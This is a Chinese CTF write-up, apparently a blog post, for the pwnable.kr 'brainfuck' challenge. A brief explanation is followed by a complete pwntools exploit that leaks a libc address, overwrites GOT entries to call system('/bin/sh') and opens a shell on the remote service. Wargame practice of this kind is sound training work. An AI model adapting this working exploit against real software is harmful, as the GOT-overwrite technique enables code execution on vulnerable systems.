pwn訓練 pwnable.kr brainfuck

這是一道pwnable第二模塊的題目
這道題開始看不懂emem,發現是一個brainfuck的解釋器發現有對內存可以讀寫控制的函數還有一個野指針emem就是他了開始發現只要把memset函數覆寫成爲gets然後輸入/bin/sh再是將fgets覆寫成爲system
就可以拼system(’/bin/sh’)
第一步泄露putchar函數的真實地址然後算出libc基址
計算出system,gets的地址
在將putchar寫成main
然後就是最開始說的步驟了
exp:

#coding:utf-8
from pwn import *

#p=process('./bf')
p=remote('pwnable.kr',9001)
ELF('./bf')
libc=ELF('bf_libc.so')
p.recvuntil(']')
def back(n):
	return '<'*n
def read(n):
	return '.>'*n
def write(n):
	return ',>'*n
main=0x08048671
putchar=0x0804A030
memset=0x0804A02C
fgets=0x0804A010
payload=back(0x0804A0A0-putchar)+'.'+read(4)#leak realaddr
payload+=back(4)+write(4)#return main
payload+=back(putchar-memset+4)+write(4)#memset->gets
payload+=back(memset-fgets+4)+write(4)#fgets->system
payload+='.'
p.sendline(payload)
p.recv(1)
putchar_addr=u32(p.recvuntil('\xf7')[-4:])
log.success("putaddr:"+hex(putchar_addr))
libcbase=putchar_addr-libc.symbols['putchar']
system_addr=libcbase+libc.symbols['system']
get_addr=libcbase+libc.symbols['gets']
p.send(p32(main))
p.send(p32(get_addr))
p.send(p32(system_addr))
p.sendline('//bin/sh\x00')



p.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章